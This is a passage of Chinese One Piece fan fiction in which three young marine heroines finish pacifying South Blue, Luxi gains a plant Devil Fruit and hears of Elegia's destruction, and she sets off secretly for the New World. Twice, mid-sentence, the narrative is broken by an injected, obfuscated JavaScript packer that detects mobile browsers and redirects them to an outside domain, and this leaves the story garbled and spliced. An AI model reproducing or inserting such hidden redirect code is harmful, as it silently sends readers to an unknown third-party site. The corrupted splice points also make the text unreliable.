“不过……”他沉思道，“这种手段恐怕只能用上一次。” 鹤合上报纸，应道：“确实。” 就算海贼在怎么笨，有了南海的教训，也不会上当第二次。何况，各个海域的势力并不相同，能让她这样行事的地方有限。不过想来这孩子会有自己的一番打算。 东海，霜月村。 报纸摊在地上，被一群小孩围着看。 “是古伊娜啊！”“古伊娜呢！”“还有那天来的另一个女孩！”“好厉害！古伊娜是大剑客！”“海贼全灭！世界第一——！” 孩童们叽叽喳喳叫嚷着，索隆看着报纸上的消息，咬紧了牙关，抽出木刀，比以前更加卖力的训练。 霜月耕四郎来到岸边，眺望远方，试图追寻古伊娜的位置。 他的女儿，已经走到了很远的地方。他当初的话或许是错误的。 东海，哥亚王国。 “我要出海。” “诶？！” “啊？！” 萨博和路飞迷茫地看着突然说出这句话的艾斯。萨博关切问道：“怎么了，艾斯？忽然要出海？” “……”艾斯沉默了一瞬，没给出回答，只说，“我想出海。” 萨博想到之前报纸上看到的消息，灵光一现，“你该不会想去找路希吧？” 艾斯：“……” 萨博真烦，艾斯懒得理他，转身就走。 他紧抿着嘴，一副心情很差的模样。 要被丢下了，他忍不住想。自从在报纸上看到路希的消息，他就控制不住的产生了一种难以忽视的恐慌，他要追不上路希了。 她走得好快，一眨眼就成了一团模糊的影子，虽然报纸上的照片那么清晰，分明还是他熟悉的笑容……野心满满，自信满满。可是……他好像要追不上她了。很久没有来自对方的信件了，她在海军有了可靠的伙伴。明明那个臭老头都能隔三差五回来一次，她却一次都没有回来。 他和路飞不一样，虽然都以兄妹相称，但是他们没有血缘关系……路飞是她真正的家人，永远不会改变。但他的身上没有和她一样的血。 “艾斯——”“艾斯——” 艾斯躺在粗大的树干上，叼着树叶望着茂密的树丛发呆，无视了路飞喊他的声音。等路飞的声音消失了有一会，他才跳下去，来到海岸边。他有些讶异，因为萨博仿佛早已预料到他会来到此处，已经提前一步在这里等待。 “你……” 艾斯顿了顿，不知道该说什么。反而是萨博直率的开口，“我放弃当海贼了。” “你来真的？！” “嗯，是真的。”他看向艾斯，问道，“艾斯是为了什么才想成为海贼呢？”紧接着，他又不等艾斯回答，自顾自说起话来，“我厌恶贵族的生活，讨厌那种虚伪的做派，我……想要自由，所以想要出海，想要成为海贼，环游世界，然后将看到的一切都记录下来。” “可是……海贼究竟代表着什么？原先蓝宝石海贼团的那些海贼，你也看到了，为了贵族的生活，他们甚至可以放弃平民窟所有人的性命。海贼……和贵族们的区别其实并不大。” “我想得到的，必然不是那种海贼的自由。我不希望伤害到别人，只是想环游世界。既然这样，为了追寻这种目标出海的我，为什么会被世界政府定义为海贼呢？那一定是……这个世界出了问题，世界政府出了问题。” “正因如此，现在的大海才这样混乱。” “世界之王，全新的世界。这样的梦想很厉害吧，说来实在不好意思，但是我被感动了。我被路希的目标与所作所为感动了。先前收到她寄来的信是这样，这次在报纸上看到她的事迹是这样，她一直在这样拼命的努力啊。我……想要帮助她，想要实现她的梦想，然后，我就可以自由出海，去环游世界。” “路飞出海是因为他想成为海贼王，可是艾斯，你出海当海贼，又是为了什么？” “我——！” 艾斯情绪复杂的站在原地，一时间竟不知该说什么好。萨博并不要求他马上回答，“先回去吧，达旦带着山贼们去山里捕猎了，玛琪诺带着大家在准备今晚宴会的事。路希做了这么一件惊天动地的大事，大家都很为她担心，但也很为她高兴。” 艾斯：“……”他看了一眼平静的海面，当时路希就是从这里出航的。“你觉得，她会回来吗？” 与他的犹豫不定不同，萨博露出了一个自信的笑容。“当然，这里是她的家乡啊。而且，还有她征服的国家，她的妈妈，她的三个哥哥。她当然会回来的。” 艾斯最终露出了一个有些苦涩的笑容：“你是笨蛋啊……” * 话题中心的三人仍留在南海，出乎意料的是，青雉也依旧留在南海。 “我说你啊，都不用休息的吗？” “老师，海贼还没有完全杀完呢。” 路希、古伊娜与孔雀各自率领着军舰在南海海域巡航，青雉与路希待在一起，几天后他惊恐地发现对方是个工作狂。 虽然之前跟她训练的时候便有所察觉，现在只是更加证明了这一点。 “海贼是杀不完的。” “我知道。” “你的行为可一点都不像知道的样子。” 路希笑了一下。 “老师，只要大海还存在，海贼就不会消失，就好像只要有光，便会有影子。一颗想出航的心是阻挡不了的。” 南海的海贼全灭了吗？不，并没有。只要有人生活在南海，那么这片海域必定会有海贼诞生。何况，除却本土的海贼，还有自伟大航路而来的外地海贼。世经报发行后，注定会引来许多试图一探究竟的海贼到达这里。因此，她们工作的比之前更加努力。 “海贼是无法彻底消灭的，我能做的，只是把他们消灭的接近于无，将南海从无序变为有序，接着，将这种秩序一直持续下去。这样海贼才能和现在这样，保持在一个既少又稳定的数量。可我不能一直待在这里，因此重建秩序的前期很重要，所以海军得加倍努力。” 要杀的话，就只能把所有人都杀完，好人坏人，通通杀掉，无人的国度 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呵呵呵呵看啊，青雉在心中默默冷笑，这就是他收的学生。多么冷酷，多么无情，对老师毫无关心之意，前句话还让他一起工作，后句话却连问都不问他为什么要睡觉不工作，你都不清楚她到底是关心还是不关心，只能看出对方是真的热爱工作。这是何等的有二代赤犬风范啊。 青雉直接成大字型，摊在甲板上，拉下眼罩闷闷问道：“为什么会选择赤犬作为你的对接人？” “唔，老师你在意这个啊？” “……我是你的老师。” 路希偏头看了看他，说道：“直觉。” “直觉？” 青雉简直不敢相信自己听到了什么话。 “嗯，因为我觉得老师你很奇怪。” “我很奇怪？” 青雉摘下眼罩，顶着太阳不可思议发问，路希在他身旁坐了下来，替他遮挡了一部分日光。青雉看着这个和卡普性格一点都不像的学生对自己说话。 “老师你总是很懒散，但这种懒散似乎不是天生的懒惰。你好像在找寻着什么，于是总是犹豫不决，许多事没法下定真正的决心。你是个不错的老师，但我需要一个坚定的对接人负责我的计划。” 青雉一言不发。 路希觉得自己应该继续说点什么来打破现在这种氛围。 “但是没关系，老师，你可以这样一直懒懒散散。因为我迟早会越过大将的位置，站到更高的地方。到了那个时候，老师，如果你还找不到路，可以看着我的背影前行，我会成为你的路标。” 看，她是多么的关心自己的老师。优秀的学生理应如此。 青雉：“……” 这是何等、何等的以下犯上，目无尊长啊。 “哦对了老师，”跟青雉说完话，路希站起来，踹了他一脚，“你这样躺着很妨碍船上的海军行动，还是找个角落去睡吧。” 青雉：“……” 他选择继续戴上眼罩。 路希从海上巡航回来的时候，古伊娜已经在金沙镇的海军基地了，现在这里的居民又重新搬了回来，并且因为她们的缘故，来到这里的人远比之前更多。有许多的人受其影响，想要加入海军。 她们在这里的名声，尤其是女性心中的名声，是独一份的。 古伊娜站在二楼的窗户旁，侧头看着底下的报名盛景。据其它基地传来的消息，都是差不多的热闹景象，南海海军迎来了新兵热潮。 注意到路希朝她走过来，古伊娜突然说道：“我的心情比之前好多了。” “嗯？” “那些海贼的事，你知道的，我对正义其实并没有十分在意，而数十万的海贼，对我而言数量或许还是太多了。那里必定会有该死的人，但也有一些罪不至死的人。” “……” 路希难得没说什么，这的确是一个问题，一个心理上能不能过得去的问题，终究只能靠古伊娜自己解决。 “我犹豫了一段时间，但现在我确定了一件事。” “什么事？” “那不能以简单的对错判断，但是，确实是有意义的。孔雀说，南海的人们，把我们叫做海军三英雌，就像叫卡普中将是海军英雄那样。” 古伊娜这样说着，视线从路希的身上落到底下报名的人员身上，路希也顺着她的视线看下去，很多人，很多女人。 海军内部，其实男比女多。 “你知道吗，路希，有时我会想，为什么我的父亲会说出那句话，女性无法战胜男性，成为世界第一大剑豪。” “他明明只在岛上，其它地方哪里也没去过吧。他甚至可能都没见过几个剑客，可他还是这么说。但是我的祖父来自一个遥远的岛屿，叫和之国，没错，就是四皇凯多占据的那处地方。我的父亲说，我祖父的剑术，他的剑术，正是来自那里。和之国一定有许多剑客，但我想……那里一定没什么出色的女性剑客，因为我的父亲是被祖父教养长大的，他的想法便也说明了我祖父的想法。他们都没见过什么女性剑客，于是便有了这种念头。” “而报纸上总是报道的世界第一剑豪，鹰眼米霍克，也是个男人。他们看不到女性剑客，于是便产生了一种错觉，女剑客无论如何也无法战胜男剑客。” 在那一刻，路希明白了古伊娜的要传达的意思。 古伊娜的眼睛里有泪珠，路希看着它们在她的眼眶里打转。 “但是现在我在这里，我带着剑，消灭海贼，站在这里，登上报纸，我的照片如此清晰，我的武器如此鲜明。接着，会有很多个无数个女性看到我。” “在这些女性中，在我看不到的地方，在我去不了的国家，必然也存着曾和我一样被否定的女孩，有无数个父亲对想要练剑的女儿说，你当不了剑客，因为你比不过男人。” “而这些女儿无法确定这句话的真实，就像当初的我一样，因为她们找不到答案，她们看不见。然后，她们犹豫，她们难过，她们迷茫，她们可能会像当初的我一样，相信这句话，差点放弃成为剑客。” “可现在我站在了这里，我们三个人一起站到了这里，我们的身影传递到了那些女性眼中，我们成为了她们的榜样，她们可以追逐的目标，她们想要追寻的一个答案！” “路希，之后我还会站到更高处，我会带着我的刀打败许多男剑客，打败鹰眼米霍克，然后那些女孩，那些曾和我一样被父亲否定的女儿，就可以自信昂扬的对父亲说，父亲，你说的全是错的。世界第一剑客是个女人，女人在剑术上的天赋远超男人。” 古伊娜伸出手，路希握住她的手。 “是的，”路希说道，“世界第一剑客是个女人，世界之王也会是个女人，我们的身影会传递到所有女性眼中。” 古伊娜眼中的泪止不住的掉落下来。 “让我们一直前进，站到最高处吧，路希。你要成为世界之王，我要成为天下第一的大剑豪。” “肯定的事。” 路希自信答道。 58.南海 与古伊娜谈完之后，路希总觉得应该与孔雀也说点什么，毕竟那群海贼的死亡确实对古伊娜有所影响。但看到她在那群报名的新兵中一副如鱼得水的模样，路希意识到什么都不必说。 孔雀是鹤中将的孙女，能在海军组建起女子海军队的人自然不会如同古伊娜的父亲那般，对自己女性后代的战斗天赋进行打压。 孔雀生来自信，生来骄傲。她必然比古伊娜更早的看清并明白自己要走什么道路。 因此有些话语不必多说。 金沙镇基本成为了南海的海军支部中心，好在蒂亚有丰富的管理经验，一切都井井有条。 路希大部分时间都在海上抓捕海贼。南海本地的海贼差不多接近于无，路希心想，至少她们三人还留在南海时，这里都不会有什么新生海贼出现。她们保持着之前的作风，抓到即是死亡结局。 至于放弃海贼身份乖乖躲在岛上正常生活的，她们便也选择了无视。 而外来的海贼也在逐渐减少中。 南海局势已成定局，交由海军主导，他们没必要强留此处，给自己弄个不痛快。伟大航路海域辽阔，自可在其中自由航行。 青雉在南海待了一个月左右，便也自行离去。本地海贼数量稀少，外来海贼减少，秩序差不多稳定，他没必要继续留在这里。 世经报关于南海的报导除却最初那几天，之后也渐渐减少。宣传海军新星们的新闻轰炸性的发一两天足够了，一直连续宣传反而容易引起反感，并且招来不必要的麻烦。现在只需定期报道一下南海的情况便可。 不过她还是代表海军和摩尔冈斯达成了另一项合作。 “你知道海上战士索拉吧，就是你的报纸上刊登的连环画。” 摩尔冈斯一点就通。 “你想在南海树立同样的形象？” “嗯。不过反派这些就换成海贼吧，偶尔画些贵族也可以，我也不介意你的手下画点堕落的海军。” “贵族和堕落的海军嘛，感觉会收到不少投诉。” “那先画海贼为主。然后正派主角就以我、古伊娜和孔雀三个人为原型创作。” “我还没说同意吧。” “那你要拒绝吗？” 摩尔冈斯思忖片刻，这对他并非什么坏事，何况早有索拉的经验在前。南海现在的氛围正好，她不忙着巩固自己的威望才是不正常。他继续问道：“说起来，离开南海后，你要去做什么？” 他可是很期待路希接下去会带来什么大新闻。 路希摇了摇头，没明着回答摩尔冈斯，只是笑着看着对方。 摩尔冈斯清楚她的意思。 “我知道，我知道，连环画的事我会去弄的。” 得到肯定的回复后，路希不再纠缠这个问题。 “啊对了，说起来，你知道四皇最近几年的动向吗？” 话题陡然一转，进入了另一个危险的维度。摩尔冈斯情绪猛然激动起来，难道、难道……！ “你要对四皇出手了吗？！” 刚一问出口，摩尔冈斯便恢复冷静。凭借她现在的实力，不完全是在找死吗？就先前的合作看来，虽然有疯狂的成分，但不至于疯到这种情况。 路希当然不准备现在对四皇出手，她只是想寻找乌塔的踪迹。摩尔冈斯是世经报的社长，报纸上的每一条新闻都必然都曾过目。不过她不准备直接对摩尔冈斯说出来。 “怎么可能，现在去找他们，只会被一脚踩死吧。” “呼，我就说……” “不过打倒敌人要从了解他们做起，越强的敌人就要越早做准备，我想收集情报，了解他们的作风为人怎么了？” 那到没什么，不如说摩尔冈斯很乐意她收集，因为这说明未来必定会有新的劲爆新闻诞生。但是……摩尔冈斯手指比划着。 “报酬。钱或者其它东西，我是个记者，也是个商人，不是什么好心的慈善家。” 路希坦然道：“你先告诉我，我才能给你报酬。明明想要得到各种大新闻的是你，却连一点过期的情报都不愿给我。要不是我海军工作太忙，没那么多时间找以前的报纸一份份看过去，我才不会找上你。” 摩尔冈斯：“你只是不想给钱吧！” 路希：“你就说这次合作我让你赚了多少钱！最后的大新闻有没有让你满意！世经报有没有大卖特卖！” 一鸟一人彼此都气势汹汹的对视着，摩尔冈斯脑子转得飞快，路希现在缺少的只是时间，只有时日够久，她自己也能慢慢从报纸上搜集消息。倒不如现在卖个人情，为双方日后的交流合作打下友好的基础。 摩尔冈斯屈服了：“你让我回忆一下。” 路希颇有耐心的等待着。 摩尔冈斯从大脑的各个记忆角落翻找着信息。 “BIG·MOM又有几任老公在她生下孩子后被杀掉，凯多常年盘踞在和之国，不过私下里在进行武器的交易，白胡子每年都能捡几个海贼当儿子，红发……嗯，其他三个四皇都没什么特别出格的举动，但是红发最近几年出了个大新闻啊。” 路希的耳朵动了动。 “什么大新闻？” “他毁掉了一个岛屿。” “……毁掉岛屿？” “没错！音乐之岛艾蕾吉亚！一夜之间彻底毁灭！现在已经完全成为废墟，无人生存了啊！” 摩尔冈斯激动起来，双手挥动，掉了不少鸟毛。 路希消化着这个消息，香克斯毁灭了一个岛屿，一个音乐之岛，而乌塔是个音乐家。香克斯曾经在风车村告诉过她，乌塔为了实现自己音乐家的梦想，不会回来了。 她问摩尔冈斯：“这是几年前的事？” “几年……让我想想，两年前吧？不算过了很久，我还有印象。” 时间大致吻合。 “岛上所有人都死了吗？” “差不多都死绝了吧，艾蕾吉亚不是世界政府加盟国，海军不会支援的。” 当时这件事更多的被用来宣传海贼的残暴，岛屿的后续反而无人关注。 路希又确认了一遍岛屿的名字。 “音乐之岛艾蕾吉亚？” “没错，嗯？你有兴趣？” “为什么红发香克斯要毁灭这个岛屿？他以前也做出过这种事情吗？” 摩尔冈斯耸耸肩，示意自己不知道。他关注新闻，但不是特别在乎新闻的成因。 “灭岛这种事还是BIGMOM和凯多更擅长，红发在此之前倒是没这种传言，或许是海贼的天性觉醒。四皇中，他算是最捉摸不定的那位了吧。” 捉摸不定啊，路希回忆了一下当初在风车村和对方的日常交往，没有继续这个话题。她闲聊了几句，结束了这次与摩尔冈斯的谈话。 在南海的生活有条不紊的继续着。 除却抓海贼，她们同时负责起海军新兵的训练。古伊娜很是感慨，不久前还是新兵，接受训练的她们，竟然也有训练新兵的能力了。 “能者多劳嘛。” 这种实力上的肯定，让孔雀愈发干劲满满。她在南海也组建了一个支部女子海军新兵队，大有朝鹤看齐的意思。 此外，世界政府送来了两颗恶魔果实，作为此次南海事件的报酬。如果不是因为孔雀已经是恶魔果实能力者，恐怕送来的极有可能是三颗。 现在，她们才算是真正的在世界政府与海军总部得到了一定的权力。这权力并非是鹤用新星计划为她们争取到的，而是她们三人凭着南海发生的一切，自身的价值被高层看见并得到了关注。 因此，对方送来了恶魔果实。 不过古伊娜没有吃下去的打算。 “我是剑客，只会用刀剑作为武器。其余皆是外力。” 古伊娜拒绝，但也不准备把恶魔果实送回去，她决定送给蒂亚，增强对方的实力。路希倒没有同她一样拒绝的打算。无法在海中游泳，与会得到的强大力量，她选择后者。 她准备吃下的是森森果实，和三大将一样，属于自然系。 路希咬了一口恶魔果实，神色凝重。古伊娜紧张地注视着她，孔雀则是看着路希脸上的表情，哈哈大笑。恶魔果实可是很难吃的，她吃过，有经验。 路希把剩下的果实往孔雀身上一扔，抱怨道：“好难吃。” 孔雀利落地闪身，“小伊你真的不尝一口吗？恶魔果实只会在吃到的第一口产生效果，剩下的就是普通的果肉。” 古伊娜看了掉在地上的恶魔果实一眼，开口拒绝：“我不要。” 孔雀饶有兴致的观察着路希，“然后呢？有什么特别的感觉吗？” 森森果实顾名思义，是与植物有关的能力。 路希默默地感受了一下自己的身体情况，不太确定道：“我觉得……我好像更加喜欢太阳了。” 孔雀思考了片刻，说道：“这是那个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15367810|162461||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧，那个……植物毕竟要晒太阳才能更好的成长。” “原来如此。” 古伊娜问道：“既然是自然系的果实，你可以把自己的身体变成植物吗？” 同为自然系的三大将，便可以变身为自然元素。 “说的也是，”路希想了一下，说道，“我现在不算正常人了，我变成了植物人。” 她的脑中刹那间一闪而过各类植物的样貌，紧接着，一股轻盈的力量在其体内涌动，充斥着四肢百骸。日光带来的不止是暖意，还有连绵不绝的力量，风拂过树叶，窸窸窣窣，路希忍不住往上伸出双手，树叶是她的同胞，她听见了她们的话语。 路希变成了一棵树，她的根深入大地。 大自然作为母亲对她问好。 那一瞬间她感受到了一切。她是花草、她是树木、她是新生的种子，她是大地之绿，她是这片土地会绵延不断生长的生命。 变成树的路希思忖几秒，对着古伊娜和孔雀说道：“我应该去买一本世界植物图鉴。” 路希与森森果实相性良好，好到晚上睡觉也不经常躺在床上睡，而是变成植物，根扎进大地作为普通的植物休息。 古伊娜和孔雀一个负责晚上睡前的浇水，一个负责清晨的浇水，以至于她们时常有一种转职成园丁的错觉。 并且路希每天变成的植物不尽相同，至于变成什么全看当天她在世界植物图鉴翻到哪一页。因此有时候来浇水，还会收到路希递过来的果子作为礼物。 营养充足，她开花结果了。 孔雀偶尔神游天外，心想着要不要对路希浇点农药杀虫除草。 送报鸥带来摩尔冈斯的信件落到路希的头上，路希伸出藤蔓拆开信件，是先前说好的连环画人设图。她从地里钻出来，重新变回来人类的形态，给摩尔冈斯打了电话。 “全部重修。” 摩尔冈斯：“？？？” 他忍不住质问：“你有什么不满意？” 路希觉得摩尔冈斯简直问得莫名其妙，“哪有战士是穿裙子和无袖上衣战斗的啊。而且作为敌人的几个男海贼就穿着普通的衣服裤子，我们主角反而穿得乱七八糟的。这服设是什么大脑被夺舍的产物。” 摩尔冈斯反驳：“人气！人气可是很重要的！男性读者就喜欢这样子！海上战士索拉漫画里，作为敌人的杰尔马66，其中的那名女性反派就是这么穿的！她可是人气相当高，收到不少粉丝来信！” 路希毫不留情：“那就让那些男性读者去死。看不惯的话就挖掉自己的眼珠子。” 摩尔冈斯：“……残暴啊！” 路希才不管他：“大腿和手臂露得这么多，还要穿高跟鞋，主角是战士，又不是模特。你，让画手给我重新画，不然我们以后的合作免谈。” 摩尔冈斯：“……你要求太多了！” 路希：“我是甲方！” 摩尔冈斯：“……” 摩尔冈斯屈服了，这就是甲方的权利，何况眼前的人素来说一不二。 这种小插曲很快被路希放置脑后，新的人设图几日后重新发来，是正常的穿着，她很满意。 名为《海上英雌战记》的连环画很快风靡南海，路希头上的花开得更多更茂盛了。 而这种和谐的生活终于到了结束的一日，南海的局势趋于稳定，她们到离去的时刻。接下去的南海，就交由那群新生海军。 三人并不是同时离去的，她们接下去准备分开行动。古伊娜和孔雀打算各自率领军舰，在伟大航路抓捕海贼，古伊娜还准备在这个旅途中寻找各种剑客，进行挑战。 路希最早离开南海，许多海军与居民哭着与她告别。 路希微笑着对她们挥手离去，她并不觉得有什么留恋的。她在南海做到了自己所能做到的一切，南海是这群新兵的家园，接下去的和平也会由她们自己守护。 她已经在南海种下了种子，这颗种子会长长久久的种在那些受到她吸引的追随者心中。海军想要新星计划能更好的为他们招揽新兵，她会这么做，但同时，她也会让自己的正义更加强势的越过海军的正义。 那颗种子，她亲自种下去的种子会在她们心中开花成长。 直至果落之日，她会再次归来，拾起这颗果实。 她还要去很多其它地方种下种子呢。 不过在此之前，路希准备进行个小小的休假，她要先去新世界找到乌塔。 59.香波地群岛 离开南海后，路希先回了一趟海军总部，主要是提交休假请求，以及申请从玛丽乔亚去往新世界。 虽然新星计划下，她们可以自由活动，但作为海军行动，行程有意无意总是会被关注到。找乌塔是私事，又涉及到四皇烧毁的岛屿，她不喜欢多余的牵扯。 休假不需要找什么特别的理由，她在南海高强度工作了这么久，得到个假期是应该的。 鹤很爽快地同意了她的休假申请，至于玛丽乔亚那边的通行证，不多时便也顺利通过。 路希在等待的中途顺便去找在本部的赤犬打了一架，结果显而易见，她被烧了个彻底。 森森果实对付南海的海贼们倒是轻而易举，但是遇上大将，她的实力与经验仍是不足。火与木本身便相克，她召唤出来的植物在赤犬的岩浆中撑不过半秒，全程战斗只是狼狈闪躲。 赤犬虽然夸她比之前有进步，但对路希而言完全不够。 如果可以将霸气缠绕在树木身上就好了，战斗复盘阶段，她甚至产生了这种天方夜谭的想法。武装色霸气可以克制恶魔果实，倘若袭向赤犬的树木缠绕着她的霸气，便不会被轻易烧毁。 路希跑去找卡普探讨这个问题。 卡普并非恶魔果实能力者，实力全凭体术和霸气，在这方面向他请教是最优解。 卡普没有取笑路希的想法，反倒是说了一句“那你就去试试看吧。” 那看来便是有可行性。 路希顺手把自己在路上催熟的一颗果实扔给卡普，当做久违的来自孙女的孝心。一定能把这老头感动坏了，她志得意满的想。 卡普被她的神态气笑了，又是一记爱的铁拳，随后让她记得有空常回家看看，要不就写几封信，科尔波山那几个小鬼烦死了。 路希：“……” 哦吼，工作太专心，好像是忘记写信这件事了。 快速地把信的问题解决掉，路希转而去了本部附近的香波地群岛，上一次来这里还是为了新星的考核，她与古伊娜和孔雀联手解决了一个过亿的海贼，目前那人进去了因佩尔大监狱。但除此之外，她还遇见了一个人，一个镀膜匠老头。 回去后她翻找信息，发现他与海贼王船上的副手雷利有着一张相像的脸。 罗杰的手下在海贼团解散后都去了哪里，无人知晓。或者知晓了海军也不会轻易出动，毕竟为首的老大已经伏诛，残余的手下只要不主动出来找事，他们也不会去找麻烦。 这个世界上惹事的海贼已经太多了。 路希倒也不是为了抓捕或者采访他退休后从海贼到镀膜匠的心理变化，她只是在那之后忽然多出了两个问题：海贼王罗杰处刑当日，为何不见他的船员前来救人？以及，罗杰口中的财宝，仅仅只是金钱吗？ 问题其一，可能罗杰的海贼团就是一个这么情感淡漠的地方，说不定船长死了他们还要拍手叫好。但考虑到自家爷爷和罗杰的关系，路希认为这种可能性相当之小，能和对手成为朋友的人，显然说明他具备一定的人格魅力， 那么由此衍生的问题就出现了。 一个感情深厚的海贼团，能这么眼睁睁地看着自家船长被处以死刑吗？先不论打不打得过的问题，就算打不过，船长被处死，好歹得拼上一拼啊。 可没有，什么都没有发生，罗杰就这样顺利地被处刑。除了他最后的一句话，而那句话……简直像是早有预谋。 罗杰海贼团的成员是否早就知道这件事会发生？罗杰是专门去送死的？ 可想到艾斯的存在，路希又有些不确定。他应该知道自己死了会掀起什么风浪，也应该清楚海军不会放过他的后代血脉，事实上当时海军的行动便已经说明了一切，可他还是这么做了。 明知道自己要死还找了个女人孕育孩子吗……唔，不好说啊。或许是她高估了对方的道德准线也说不定。 问题其二：罗杰口中的大秘宝究竟是什么东西？ 如果只是单纯的财宝，那世界政府分明可以派海军的人去拿取。如果其他人不相信，开个全程直播也行啊。罗杰能做到的事情，他的老对手卡普凭什么做不到，而且海贼的财宝拿到手还能当做海军的发展资金。 但路希看不出世界政府与海军对大秘宝的兴趣。倘若不是普通的钱财，那罗杰在航行的终点埋藏的是什么东西？ 她承认她有点好奇，甚至想着如果日后她的人员充足，要不干脆对上级申请，以海军的名义去找大秘宝。 要是世界政府拒绝这个选项，后续的反应倒是值得观察。 当然以上的问题有一个相同的解决方式，那就是找到雷利试着询问答案。至于回不回答是对方的事。 不过前提是能找到。 或许因为她成为了植物人，这次来到香波地群岛，看着这座由树木组成的岛屿，路希有一种与当初截然不同的心情，感觉像是回到了久违的家，红树无声地欢迎她的归来。 路希的脑子里转而冒出新的念头：将见闻色霸气与森森果实的能力结合，是否就可以倾听到树木的话语？ 她闭上眼睛感受，除却周遭的声音比先前愈发清晰，再无其它新添的声音。 看来实力还不太够。 路希坦然睁开双眼，凭着上次的印象朝镀膜区走去，一路上感受到不少来自暗中的视线。 也是，毕竟她现在小有名气。 于是当路希再次从一处茂密的树丛中出来，她完全变了个样子。 绿色的、不知该说是发丝还是藤蔓的东西从头上垂落，将整个脸部遮盖住，像是蒙上了一层绿色的纱，唯一有所区别的便是不像纱那样半透明轻便。身高与先前相比高了不少，只是露出的身体部分与常人不同，有些奇怪，质感与其说是人类的皮肤，不如说更接近于树木。 但海贼怪里怪气的人素来长得很多，这类人要不就是真的有实力，要不就是凭借外表恐吓人。通常情况下，香波地群岛从事人口产业买卖的贩子们一般只对样貌有所印象的人出手。这类长相陌生，实力未知的人员，他们一般敬而远之。 毕竟海军本部就在附近，打不过闹大是一回事，另一回事则是完全可能是海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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和之国的入岛口只有一处，易守难攻，地势生来优越，进岛本身就是一种考验，更不用说派海军攻打。她当初看到和之国的地势环境时便深深动心。 另一处让她动心的地点是鱼人岛，只是鱼人岛在海底万米之下，虽然同样适合作为基地，但物资的运送，人员的来往比和之国更加艰难。 普通情况下她没什么机会去和之国，更不用提打探里面的情况。现下这种情况……不尝试一下似乎说不过去啊。 但是乌塔也还没找到。 路希深深纠结着，身体却主动地化为植物潜入了那艘海贼船上。这艘海贼船已经镀膜完毕，过不了多久便会启航。 植物形态的她安静待在舱底的仓库默默思考着。 艾蕾吉亚在新世界，和之国也在新世界。 从玛丽乔亚去新世界是去，乘海贼船去新世界也是去，她为什么不尝试一下全都要呢。 甲板上，航海士招呼着众人潜航。 路希感到空气的湿度增强，与红树的联系逐渐远去。 船只载着她下潜，往新世界驶去， 60.在路上 去往新世界的通道位于红土大陆一万米下的一个巨洞，穿过此处，经过鱼人岛，再度上浮，便可到达新世界。 然而实际操作起来的难度远不像说的这般轻松。 海洋深处亦有海流，诡谲莫测。就算运气较好航行顺利，也少不得遇到第二种情况——海王类。 大海从来不是人类的地盘。去往新世界的海贼船，多半被这两者击沉。 路希搭乘的船只，贝格海贼团此时正面临着第二种情况。 身长数百米的海王类正缓缓在她们船只身旁盘旋，随时有将海贼船碾碎的可能性。 “啊啊啊啊老大，我们是不是要完了啊！”甲板上，年轻的海贼们抱头痛哭。“我们都还没有完全下潜啊！！” 与她们相比，赏金1亿1000万的贝格·贝格奇，贝格海贼团船长则显得游刃有余，“不要害怕！我可是犬犬果实能力者。” “噢噢噢噢！” “要来了吗！老大的绝招！” “那份让所有人都拜倒在她脚下的奇迹般的魅力。” “狗狗之光照耀天地！” 在众人期待的目光下，贝格·贝格奇发动了果实能力，变身为一只大耳朵小狗，坐在甲板上冲着海王类不断摇晃着尾巴，同时友好吠叫着：“WerWer——” 犬犬果实·米格鲁犬形态。 在吃下这个恶魔果实前，贝格原本只是在老家一个很讨人嫌的少年。而吃下这份果实后，身体素质大幅加强，抗打力与恢复力都上了几个层级，同时因为果实能力的影响，贝格深感故土小小的领地已经无法满足她旺盛精力的需求，她要出海得到自由！她要奔向更广阔的地方！ 于是她成为了一个在海上也很讨人嫌的少年。 但不知为何，似乎是果实特性的影响，就算她不小心做了一些不太好的事，大家也会主动给她找理由，总而言之，她们的忍耐力变高了。而在米格鲁犬形态下，这份忍耐力会更上一层楼。 毕竟大家都爱小狗。 诸如“她有什么错她只是一只小狗啊！”“她只是爱闹腾了点但她的心是好的！”“小狗做什么都是对的！” 贝格在发现这一事实后顿悟了，这说明了一件事：狗狗就是世界的主人，而米格鲁犬，是主人中的主人。她注定要称霸世界。 于是她怀抱着自己邪恶的计划快乐地航行到了香波地群岛，听说新世界有个百兽海贼团，这名字一听就是为她准备的，她要潜伏进去推翻那个船长然后自己当老大。 哼哼哼，她还在路上得到了一颗动物系恶魔果实，结果那个七武海就找上门来表示想要。贝格并不想把果实给这个七武海，她准备把它当做加入百兽海贼团的敲门砖。而在她说出拒绝理由后，七武海沉默了片刻，说他可以帮她与百兽海贼团联络，他寻找恶魔果实本身也是为了送给百兽海贼团。 简直是天助她也！ 总之她一脸纯良的与这位七武海达成了合作。 七武海给了贝格一张生命纸，能直接指引她去百兽海贼团盘踞的和之国，而不用在新世界一个个岛屿航行过去。 贝格就这样愉快地出发了，只是一直以来的顺利航行终于在此刻出现了阻碍。她和她的船员被海王类缠上了。 而且……贝格摇尾巴的速度渐渐慢了下来。海王类离她们的船身越来越近，丝毫没有退走的意思。贝格陷入了困惑，怎么回事呢，这个海王类，好像没有被她的魅力感化啊。 身后的船员犹犹豫豫地互相看着彼此。 “难道……” “难道……” “海王类它们……不像我们是狗派吗？！” “这种事情——不要啊！” 路希在舱底睁开眼。 船身不稳，疑似遭到袭击。现在她的性命可与这艘船息息相关，在到达新世界前，无论如何都得保住这群海贼。 她快速奔至甲板，越过那群海贼和一只狗，将她们护在身后。海王类金黄色的竖瞳在那一刻锁定了这位新到来的餐点。 “滚开。” 